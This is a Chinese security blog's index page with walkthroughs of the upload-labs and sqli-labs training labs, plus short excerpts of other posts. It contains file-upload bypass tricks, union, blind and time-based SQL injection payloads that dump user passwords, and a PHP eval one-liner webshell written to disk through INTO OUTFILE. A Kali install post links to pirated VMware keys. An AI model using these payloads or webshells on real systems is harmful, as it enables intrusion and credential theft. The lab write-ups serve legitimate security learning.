lemon's Blog

Normally Insane


  • 首页

  • 标签

  • 分类

upload-labs

发表于 2020-02-13 | 分类于 实战
| 字数统计: 2.2k | 阅读时长 ≈ 8

Pass-01 

      上传类型为 jpg | png | gif的可以直接上传,类型为php的前端页面则提示 该文件不允许上传,请上传 .jpg|.png|.gif类型的文件

  • 将要上传的php文件后缀改为允许的,然后在burp上面改回原来的
  • 或者是浏览器禁用js后进行上传。

Pass-02

      根据提示: 本pass在服务端对数据包的MIME进行检查。

      查看源码,发现PHP代码只对content-Type进行了检查,在burp里面进行修改。

Pass-03

      根据提示:本pass禁止上传 .asp|.aspx|.php|.jsp后缀文件。很显然这是一个黑名单绕过的题。可以通过用后缀为  .php3 .phtml .php5 .phps .pht .htaccess 文件进行绕过。

Pass-04

      根据提示:本pass禁止上传了很多文件,但是 .htaccess 文件没有进行限制。于是我们可以来构造 .htaccess文件,内容为 SetHandler application/x-httpd-php 意思是可以让 .jpg格式文件以php格式进行解析。可以把要上传的php文件后缀名改为.jpg格式就可绕过了。

需要注意的是:.htaccess详解及.htaccess参数说明

Pass-05

      观察之前的源码,都会发现下面的一句代码,但是本题显然没有,所以可以用大小写进行绕过。即上传一个1.PHP 文件

1
$file_ext = strtolower($file_ext);  // 转换为小写

Pass-06

      观察源码,发现本题没有进行首尾去空格。

1
$file_ext = trim($file_ext) // 首尾去空

​       于是上传一个1.php[空格]  文件

Pass-07

​       观察源码,发现本题没有去掉尾部的点。

1
$file_ext = deldot($file_name); // 删除文件名末尾的点

​       于是上传一个1.php.  文件

Pass-08

​       观察源码,发现本题没有去处文件名的 ::$DATA

1
$file_ext = str_ireplace('::DATA', '', $file_ext); // 去处字符串:::$DATA

​      ​ 于是上传一个1.php::$DATA  文件

Pass-09

​​       仔细查看源码,发现代码执行顺序为:删除文件名末尾的点 — 首尾去空,所以可以构造文件后缀后面为 . . 即上传一个1.php. .  文件

Pass-10

​​       查看源码,发现文件后缀被替换为空,可以利用双写绕过。

1
2
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = str_ireplace($deny_ext,"", $file_name); // 即那个文件后缀替换为空

​​       于是上传一个1.pphphp  文件

Pass-11

​​       查看提示:本pass上传路径可控。 查看源码,发现是白名单判断,文件存储路径为直接拼接而成,可以利用%00截断进行绕过。

1
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

​      尽管方法是对的,但是老是提醒上传失败,烦人。

​      后来发现这里应该是php版本的问题了。%00截断 在5.3.4以后就修复了。

Pass-12

​​       此题与上一题类似,只是将get改为了post, 故同样也可采用%00截断的方式绕过。

1
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

​​       此时文件路径在 POST数据里面,但是POST数据不能被url自动解码,所以需要在hex数据里面修改。为了方便找到位置,可以做个标记。

然后再hex里面找到对应 ) 的16进制 0d, 将其改为 00 ,即可。

当然也可以直接对%00进行url解码。

与上题一样,同样因为版本问题,上传失败。

Pass-13

​​       查看提示:本pass检查图标内容开头2个字节。即通过检查文件头判断文件类型。绕过方法为:制作图片木马,将php语句隐藏在图片中,然后执行php.

1
2
制作图片木马:copy 1.jpg /b + 1.php /a webshell.jpg 
其中b代表二进制,a代表ascii编码

Pass-14

​​       查看提示:本pass使用getimagesize()检查是否为图片文件

1
2
3
4
5
getimagesize() 函数用于获取图像大小及相关信息,成功则返回一个数组。

语法格式:array getimagesize ( string $filename [, array &$imageinfo ] )

getimagesize() 函数将测定任何 GIF,JPG,PNG,SWF,SWC,PSD,TIFF,BMP,IFF,JP2,JPX,JB2,JPC,XBM 或 WBMP 图像文件的大小并返回图像的尺寸以及文件类型及图片高度与宽度。

​​       与上题绕过方式相同。

Pass-15

​​       查看提示:本pass使用exif_imagetype()检查是否为图片文件。

1
2
3
exif_imagetype() 读取一个图像的第一个字节并检查其签名,从而判断一个图像的类型

语法格式:exif_imagetype ( string $filename ) : int

​ ​       绕过方法同样与13题相同。

Pass-16

​ ​       查看提示:本pass重新渲染了图片。查看源码,发现代码先是判断了文件后缀和文件content-Type是否保持一致,然后用 imagecreatefrom[jpg][gif][png] 函数判断是否是图片格式,如果是的话再用image[jpg][gif][png]进行二次渲染。

​ ​       本题较为困难,目前我只能完全理解上传gif格式文件,即像上述方法一样构造图片木马,然后将成功上传的图片下载到本地,对比二次渲染图片和原来上传的图片,会发现末尾的PHP代码消失了,重新将PHP代码写入到两张图片相同的地方,此时便是真正成功上传了带有PHP代码的图片了。至于png和JPEG格式的,参考链接 https://xz.aliyun.com/t/2657

Pass-17

​​       查看提示:需要代码审计。查看源码发现,代码执行顺序为: 现将文件上传到服务器端,如果文件类型在白名单之类就重命名,不在的话就用UNlink进行删除。看别人写wp,都将这个叫做条件竞争。这个是之前没有接触过的。

​​       绕过方法: 首先在burp不断发送上传webshell的数据包,然后不断在浏览器中访问,可以通过竞争访问到文件,但是缺陷是概率太低,经常会返回404.

​​       之后找到了一个较为方便的方法(参照大佬):

  • 用burp开启两个intruder模块,一个用于重复上传,另一个用于重复访问

    1. 先设置上传请求,文件名为 1.php

    2. 无参数需要爆破,故只需重复发起请求,设置访问次数为5000次,线程为50个

    3. 浏览器构造payload:http://web-labs.rinue.top/upload-labs/upload/1.php 进行访问,然后用burp抓包

    4. burp抓包后发送至intruder模块,然后设置payload,和第二步参数设置相同

    5. 设置好两个模块后同时启动,观察结果,当访问成功的时候,会返回PHP的配置信息。

Pass-18

​      ​ 本关对文件后缀做了白名单的判断,然后检查文件大小,文件上传后对文件重新命名,同样存在条件竞争的漏洞。仍然利用burp不断上传图片马的数据包,由于条件竞争,程序会出现来不及rename的情况,从而上传成功。

Pass-19

​​       查看提示:本pass的取文件名通过$_POST来获取。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pathinfo() 函数以数组的形式返回文件路径的信息

语法:pathinof(path, options)
options : PATHINFO_DIRNAME - 只返回 dirname;PATHINFO_BASENAME - 只返回 basename;
PATHINFO_EXTENSION - 只返回 extension

举例:<?php print_r(pathinfo("/testweb/test.txt"));?>
输出:
Array
(
[dirname] => /testweb
[basename] => test.txt
[extension] => txt
)

move_uploaded_file函数会忽略文件末尾的 /.
  • 可以利用move_uploaded_file的 \x00截断。即 post: save_name = 1.php%00.jpg
  • post: save_name = 1.php/. ,这样file_ext的值为空,可以绕过黑名单,函数忽略/. ,保存的文件类型为 .php

经典题型

  1. perl和ARGV任意文件读取

有哪些地方有问题的,望各位大佬指教。谢谢了!!!!

python的一些奇淫巧计

发表于 2020-02-08 | 分类于 实战
| 字数统计: 840 | 阅读时长 ≈ 3

1. 将电脑变成服务器

     如果要将电脑中的文件发到手机上面,你会选择怎么做呢?数据线、微信文件助手。这些都有局限性,比如突然断网,WTF?别急,万能的python自有妙招。

  • 命令:python -m SimpleHTTPServer 8000

  • 然后查看本机IP,在手机端访问8000端口 (需要与电脑端的Ip相同)

    阅读全文 »

sqli-labs (1-10)

发表于 2020-01-23 | 分类于 实战
| 字数统计: 2.8k | 阅读时长 ≈ 13

[学习链接]:https://www.bilibili.com/video/av66072415

MySQL简单基本用法

1
2
3
4
5
6
7
8
常用的几个函数:
system_user() —— 系统用户
user() —— 普通用户
current_user() —— 当前用户
database() —— 当前所用的数据库
version() —— 数据库的版本
@@datadir —— 安装路径
@@version_compile_os —— 本机系统

假定:数据库名-security,表名-users

  • 查库:select schema_name from information_schema.schemata

  • 查表:select table_name from information_schema.tables where table_schema=’security’

  • 查列:select column_name from information_schema.columns where table_name=’users’

  • 查字段: select username,password from security.users

Less-01

构造payload: http://127.0.0.1/sqli/Less-1/?id=1

得到 name:Dumb, password:Dumb

—— 当然,可以改变后面id的值,会得到不同的name和password

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
1. # 其中limit后面的第一位(0)表示从第几个开始,第二位表示显示多少个数据(1)
http://127.0.0.1/sqli/Less-1/?id=1
得到的SQL语句为:select * from users where id='1' limit 0,1

2. # A and B —— 当A和B都为1时,结果为true; A or B —— A、B任何一个为1,结果都为true
# --+ # -- 都表示注释符
http://127.0.0.1/sqli/Less-1/?id=1' or 1=1--+
得到的SQL语句为:SELECT * FROM users WHERE id='1' or 1=1-- ' LIMIT 0,1

3. # orber by 表示对表中的某个字段进行排序
# 通过order by 语句可以确定数据列数,本题包含id在内有3个字段
http://127.0.0.1/sqli/Less-1/?id=1' order by 1--+
得到sql语句为:SELECT * FROM users WHERE id='1' order by 1-- ' LIMIT 0,1

4. # 联合查询union的作用是将两个select查询结果和并
# 通过将id改为-1,判断显示的内容在数据库的第几列
# 得到login name在第2列,Password在第3列
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,3--+
得到sql语句为:SELECT * FROM users WHERE id='-1' union select 1,2,3-- ' LIMIT 0,1

5. # 选3的位置作为回显位置,获取username或者password
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,schema_name from information_schema.schemata limit 0,1--+
得到SQL语句为:SELECT * FROM users WHERE id='-1' union select 1,2,schema_name from information_schema.schemata LIMIT 0,1-- ' LIMIT 0,1

6. # group_concat(),可以将所有的数据拼接在一行显示
# 详情見本链接 https://www.yiibai.com/mysql/group_concat.html
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata--+
得到的SQL语句为:SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(schema_name) from information_schema.schemata limit 0,1-- ' LIMIT 0,1

7. # 得到表信息, emails,referers,uagents,users
# 但是后面的security两边的引号较为危险,推荐将其改为十六进制的形式
# 即为:table_schema=0x7365637572697479
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
得到的SQL语句为:SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'-- ' LIMIT 0,1

8. # 得到列信息:id,username,password
# 16进制为:0x7573657273
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
得到的SQL语句为:SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'-- ' LIMIT 0,1

9. # 得到password:Dumb,I-kill-you,p@ssword,crappy,stupidity,genious,mob!le,admin,admin1,admin2,admin3,dumbo,admin4
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(password) from security.users--+
得到SQL语句为:SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(password) from security.users-- ' LIMIT 0,1

10. # concat_ws()函数能将username和password同时取出,用‘-’连接
# 推荐将连接符号‘-’转换为16进制,0x2D
http://127.0.0.1/sqli/Less-1/?id=-1' union select 1,2,group_concat(concat_ws('-',username,password)) from security.users--+
得到的SQL语句为:SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(concat_ws('-',username,password)) from security.users-- ' LIMIT 0,1

步骤总结:

  1. 查看是否有注入

  2. 查看有多少列

  3. 查看哪些数据可以回显

  4. 查看当前数据库

  5. 查看所有的数据库

  6. 查看所有的表

  7. 查看所有的字段

  8. 得到所有的账号和密码

Less-02

​ id=1’时报错,则存在sql注入,此时发现引号是多余的。

​ 模版为 http://127.0.0.1/sqli/Less-2/?id=-1(此为要构造的)--+

​ 按照步骤得到正确答案。

Less-03

​ id=1’时报错,存在sql注入,此时发现引号、右括号是多余的

​ 模板为 http://127.0.0.1/sqli/Less-3/?id=1') (此为要构造的) –+

​ 按照步骤得到正确答案

Less-04

​ id=1”时报错,存在sql注入,此时发现引号、右括号是多余的

​ 模板为 http://127.0.0.1/sqli/Less-4?id=1") (此为要构造的) –+

​ 按照步骤得到正确答案

Less-05

​ 难度正式加大了。

​ 基础知识补充:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
1. left()函数 —— left(a,b)从左侧截取a的前b位,正确返回1,错误返回0
例:select left(database(),1)='s'; —— 前1位是否为s

2. regexp函数 —— 正则表达式匹配
例:select database() regexp 's'; —— 匹配第一个字符是否为s

3. like函数 —— 模糊正则匹配
例:select database() like 's%'; —— 匹配第一个字符是否为s

4. substr(a,b,c) —— 从位置b开始,截取a字符串c位长度
例:select substr((select database(),1,1))='s'; —— 匹配第一个字符是否为s
select substr((select database(),1,3))='sec'; —— 匹配前3个字符是否为sec

5. ascii() —— 将某个字符串转化为ascii值
例:select ascii(substr(select database()),1,1); —— 回显115或者:
select ascii(substr(select database(),1,1))>110 —— 如果大于110,返回1,否则返回0

6. chr('数字') 或者 ord('字母') —— 使用python中的两个函数可以判断当前的ascii值是多少

7. length() —— 判断长度

​ 当id=1时,显示  You are in……;当id值大于12时,没有任何的显示。这就是典型的  布尔盲注

​ 布尔盲注:一般是在网页没有报错、回显的时候使用。只能对url输入的判断一个对错,一般只能判断一个英文字符。

​ id=1’时报错,存在sql注入。可以知道正确的情况下会显示 You are in……按照之前的步骤可以判断此为3列,接下来判断数据库名之类的就要用到上面的补充知识了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
1. # 求当前数据库名的长度
http://127.0.0.1/sqli/Less-5/?id=1' and length(database())=8--+

2. # 判断数据库名的第一个字符
http://127.0.0.1/sqli/Less-5/?id=1' and left((select database()),1)='s'--+
# 接下来判断数据库名的其他位
http://127.0.0.1/sqli/Less-5/?id=1' and left((select database()),2)='c'--+

# 手工一个一个排查十分的麻烦,这个时候可以将burpsuit派上用场,直接爆破,或者写脚本完成
-----------------------------------------------------------------------------------------
# 或者使用if来进行判断测试,二分法测试,减少了时间
# 下面的方法select database()会出现bug,因为MySQL里面的数据库为NULL,所以无论后面的数字为多大,永远都显示 You are in ……
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select database()),1,1))>110--+

# 此种方法可以避免bug,limit 1(表示选择第几个数据库),1
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1))>110--+
依次类推,得到所有的数据库

3. # 爆security中的表名
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>110--+
# 判断是否存在表
http://127.0.0.1/sqli/Less-5/?id=1' and exists(select group_concat(table_name) from information_schema.tables where table_schema=‘security’ )–+
依次类推,得到所有的表

4. # 爆字段名
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))<106--+
依次类推,得到users的表username,password的值

5. # 爆字段内的值
http://127.0.0.1/sqli/Less-5/?id=1' and ascii(substr((select username from security.users limit 1,1),1,1))=65--+

Less-06

​ id=1” 时报错,存在sql注入

​ 模板为 http://127.0.0.1/sqli/Less-3/?id=1" (此为要构造的) –+

​ 按照第五关步骤得到正确答案

Less-07

​ 基础知识补充:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1. show variables like '%secure%';查看secure-file-priv当前的值,如果显示为NULL,则需要打开C:\phpstudy\PHPTutorial\MySQL\my.ini文件,在其中加上一句:secure-file-priv="/"
# 这一步实在解决不了就参考https://blog.csdn.net/qq_31518899/article/details/75662090

2. 一句话木马:PHP版本:<?php @eval($_POST["hacker"]);?> 其中hacker为密码

3. load_file() 读取本地文件 select load_file('C:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\test1.txt');

4. into outfile 写文件
用法:select 'php is the best language' into outfile 'test1.txt';
文件位置:C:\phpStudy\PHPTutorial\MySQL\data
—————————————————————————————————————————————————————————————————————————
或者是:
用法:select 'crow 666' into outfile 'C:\\phpStudy\\PHPTutorial\\WWW\\sqli\\Less-7\\test1.txt';
文件位置:C:\phpStudy\PHPTutorial\WWW\sqli\Less-7
  • 当 id=1 时,显示 You are in…… Use outfile……;直接加单引号 id=1’,显示 You have an error in your SQL syntax, 则存在SQL注入
  • 注入模版为 http://127.0.0.1/sqli/Less-7/?id=1‘)) (要构造的)–+
  • 根据提示,会用到outfile函数,可以构造payload: http://127.0.0.1/sqli/Less-7/?id=1')) union select 1,2,’‘ into outfile ‘C:\phpStudy\PHPTutorial\WWW\sqli\Less-7\test1.php’–+
  • 访问 http://127.0.0.1/sqli/Less-7/test1.php,显示 1 Dumb Dumb 1 2
  • 写入了一句话木马后,用中国菜刀访问,此时hacker为密码,成功拿到网站的webshell

Less-08

​ id=1’时 You are in……消失,则存在sql注入。

​ 模版为 http://127.0.0.1/sqli/Less-2/?id=1'(此为要构造的)--+

​ 按照第5关的步骤得到正确答案。

Less-09

基础知识补充:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
1. if(condition,A,B) —— 如果条件condition为true,则执行语句A,否则执行B
例: select if(1>2,4,5);返回的结果为5(如果在mysql命令行中使用,首先要use xxx数据库才行)

2. sleep() 休眠多长时间

3. # 使用时间延迟的方法判断是否存在注入漏洞
http://127.0.0.1/sqli/Less-9/?id=1' and sleep(5)--+

4. # 当为8的时候很快加载,为其他值的时候加载较慢(延迟5秒左右),那就说明此时数据库的长度为8(security)
http://127.0.0.1/sqli/Less-9/?id=1' and if(length(database())=8,1,sleep(5))--+

5. # 如果当前数据库的第一个字母的ascii值大于113的时候立即返回结果,否则执行5秒
http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr((select database()),1,1))>113,1,sleep(5))--+

6. # 同理哦安短数据库中的第五个数据库的第一位的ascii是否大于112
http://127.0.0.1/sqli/Less-9/?id=1' and if(ascii(substr((select schmea_name from information_schema.schemata limit 4,1),1,1))>113,1,sleep(5))--+

7. 其余步骤基本相似,可以采用burpsuit或者是sql盲注的脚本使用
了解一下DNSlog

Less-10

​ http://127.0.0.1/sqli/Less-10/?id=1" and sleep(5)–+ 只是将less-9中的单引号换成了双引号,其余均相同。

注意:一般情况下,测试有六种方法:

  • ‘         单引号
  • ‘)        单引号、括号
  • ‘))      单引号、双括号
  • “         双引号
  • “)        双引号、括号
  • “))      双引号、双括号

sqli-labs环境配置

发表于 2020-01-22 | 分类于 教程
| 字数统计: 212 | 阅读时长 ≈ 1

本操作于虚拟机中进行(windows7系统)

  • sqli-labs下载:https://github.com/Audi-1/sqli-labs (直接克隆 git clone + 网址)

  • phpstudy下载地址:http://down.php.cn/PhpStudy20180211.zip (不是最新版本)
    启动phpstudy,

    阅读全文 »

bugku - Web(1~20)

发表于 2019-11-23 | 分类于 WP
| 字数统计: 2.4k | 阅读时长 ≈ 9

刚入门ctf,望各位大佬指教

1.web2

这题直接右击查看页面源代码即可

2.计算器

在文本框内发现只能输入一位数字,在框内右击-查看元素,发现“maxlength=1”,将其值改为较大的,然后在框内输入正确的值,点击验证,出现flag。

阅读全文 »

安装kali

发表于 2019-11-19 | 分类于 教程
| 字数统计: 765 | 阅读时长 ≈ 2

用虚拟机安装Kali系统

(要安装这个虚拟机,电脑性能要过关,起码内存得大于4G,不然会卡到运行不了任何东西,闪退,死机是常有的事。)

这主要分为以下三个步骤:

一.安装VMware虚拟机(官网下载)

  注意:

1.在安装过程中需要输入秘钥,给的网址操作中的秘钥用不了,在此推荐几个方法亲试有效:(当然还是建议大家自己买的)
  1.https://www.cnblogs.com/vhhi/p/10202204.html,里面有一些免费的秘钥 ,但一定要看好版本;
  2.链接:https://pan.baidu.com/s/1yvPkmLVMzYfhtayqj7YE-g 提取码:qyxj (下载的软件会自动生成秘钥,但是需要一个一个试,比较麻烦。不过,成功的话还是很有成就感的。)
阅读全文 »

简单的makedown编译器

发表于 2019-11-19 | 分类于 实战
| 字数统计: 1.5k | 阅读时长 ≈ 7

目的:


学习正则表达式、文件 IO 等相关内容,编写简易的 Markdown 解析器


具体要求:


编写程序,解析文件,将 Markdown 格式的图片和超链接转换成 HTML 格式。

首先,你需要使用正则表达式在文件中筛选定位到 Markdown 格式的图片和超链接。

然后,将图片和超链接的路径获取出来并转换为 HTML 格式。

转换完成之后,生成新的 HTML 文件,双击打开该 HTML 文件后,图片和超链接均可以在网页上得到显示


阅读全文 »
<i class="fa fa-angle-left"></i>12

17 日志
4 分类
12 标签
GitHub E-Mail YouTube CSDN
本站访客数: |
本站总访问量次
© 2022 lemonl
博客全站共47.3k字